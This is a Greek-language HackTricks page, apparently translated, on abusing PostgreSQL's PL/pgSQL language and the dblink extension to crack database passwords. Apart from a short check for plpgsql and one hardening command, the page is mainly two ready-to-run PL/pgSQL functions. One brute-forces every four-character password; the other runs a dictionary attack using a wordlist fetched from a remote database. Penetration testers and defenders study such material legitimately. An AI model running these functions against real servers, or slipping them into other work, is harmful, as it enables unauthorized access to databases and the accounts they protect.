Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
Το PL/pgSQL είναι μια πλήρως λειτουργική γλώσσα προγραμματισμού που υπερβαίνει τις δυνατότητες της SQL προσφέροντας ενισχυμένο διαδικαστικό έλεγχο. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που δημιουργούνται στη γλώσσα PL/pgSQL μπορούν να κληθούν από εντολές SQL και triggers, διευρύνοντας το πεδίο λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
Μπορείτε να καταχραστείτε αυτήν τη γλώσσα για να ζητήσετε από το PostgreSQL να βίαια δοκιμάσει τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επαληθεύσετε την ύπαρξή του χρησιμοποιώντας:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Από προεπιλογή, η δημιουργία συναρτήσεων είναι ένα προνόμιο που χορηγείται στο PUBLIC, όπου το PUBLIC αναφέρεται σε κάθε χρήστη σε αυτό το σύστημα βάσης δεδομένων. Για να αποτραπεί αυτό, ο διαχειριστής θα μπορούσε να ανακαλέσει το προνόμιο USAGE από τον τομέα PUBLIC:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
Σε αυτήν την περίπτωση, η προηγούμενη ερώτησή μας θα εμφάνιζε διαφορετικά αποτελέσματα:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Σημείωση ότι για το παρακάτω σενάριο να λειτουργήσει η συνάρτηση dblink πρέπει να υπάρχει. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να τη δημιουργήσετε με την εντολή
CREATE EXTENSION dblink;
Βίαιη Δοκιμή Κωδικού Πρόσβασης
Εδώ είναι πώς μπορείτε να εκτελέσετε μια βίαιη δοκιμή κωδικού πρόσβασης με 4 χαρακτήρες:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Σημείωση ότι ακόμα και η επίθεση με βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά.
Μπορείτε επίσης να κατεβάσετε έναν κατάλογο λέξεων και να δοκιμάσετε μόνο αυτούς τους κωδικούς (επίθεση λεξικού):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε τη εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στη τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!